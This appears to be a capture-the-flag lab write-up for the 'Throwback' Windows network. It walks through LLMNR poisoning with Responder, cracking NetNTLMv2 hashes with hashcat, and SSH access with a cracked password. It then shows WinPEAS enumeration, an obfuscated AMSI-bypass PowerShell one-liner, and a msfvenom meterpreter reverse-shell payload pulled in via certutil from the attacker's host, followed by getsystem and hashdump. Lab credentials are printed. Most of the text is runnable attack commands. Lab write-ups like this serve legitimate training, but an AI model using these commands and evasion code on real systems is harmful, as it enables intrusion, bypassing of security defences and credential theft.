LLMNR Poisoning
LLMNR = Link-Local Multicast Name Resolution. NBT-NS = NetBIOS Name Service.
These are Windows domain services that act as an alternative method for host identification. LLMNR works like DNS: it lets hosts on the same network resolve names for other hosts. NBT-NS identifies systems on a network by their NetBIOS name. Because they fall back to multicast, an attacker on the segment can answer the requests and capture authentication material.
Poisoning LLMNR with Responder
Start Responder on the tunnel interface:
sudo responder -I tun0 -rdw -v
After a minute of intercepting traffic, a hash comes in:
Cracking the Hash
Save the captured hash to a text file and run hashcat against it (mode 5600 is NetNTLMv2):
hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt
Cracking the password straight off rockyou was not successful.
Another workaround is to apply rules, most notably the OneRuleToRuleThemAll.rule from NotSoSecure. It lives in root/Documents/Throwback \(THM)/RESPONDER, so apply it to this hashcat line:
hashcat -m 5600 PetersJ.hash /usr/share/wordlists/rockyou.txt -r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=,matched.rule
After some time, the password cracks: Throwback317.
SSH to THROWBACK-PROD
Since this password came from a user on THROWBACK-PROD, try to SSH in with it:
ssh PetersJ@10.200.34.219
We're in. But whoami shows this is not an administrator, so it is time to escalate with WinPEAS.
Privilege Escalation with WinPEAS
Enable scripts on the victim:
powershell -ep bypass
Serve WinPEAS from the attack box where the executable is saved:
python3 -m http.server 8080
Pull it down on the victim and run it:
certutil.exe -urlcache -f http://10.50.31.168:8080/winPEASany_ofs.exe winPEASany_ofs.exe
.\winPEASany_ofs.exe
The first thing of note is an auto login:
7eQgx6YzxgG3vC45t5k9
Nothing else useful turned up, so enumerate the local group to find administrator accounts:
net localgroup administrators
Mapping Hosts for Pivoting
Find the IP address for THROWBACK-TIME.throwback.local to use later for pivoting:
Get the IP of the Domain Controller:
ipconfig /displaydns
Add THROWBACK-TIME to the hosts file:
echo "10.200.34.176 timekeep.throwback.local" >> /etc/hosts
Pivoting Through THROWBACK-PROD
First pause the AMSI service with this obfuscated one-liner:
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."AssEmbly"."GETTYPe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."getfiElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sETVaLUE"( ${nULl},${tRuE} )
Create a reverse payload and send it to the victim via certutil.exe. Make sure python3 -m http.server 8080 is running where the file lives:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f exe -o Cleaner.exe
From the victim:
certutil.exe -urlcache -f http://10.50.31.168:8080/Cleaner.exe Cleaner.exe
Then run msfconsole and set up the handler:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 443
set LHOST tun0
exploit -j
Once the victim executes Cleaner.exe, the callback lands:
After some tweaks, the callback session held. The order that matters:
- Ensure responder is killed to free up port 443.
- Download the payload to the victim first.
- Run
exploit -jsecond. - Execute the payload third.
sessions -i #getuidto confirm rolegetsystem- If
NT AUTHORITY\SYSTEMdoesn't happen, start over from step 3 until it does. hashdump- Crack them in hashcat
Now it's time to pivot.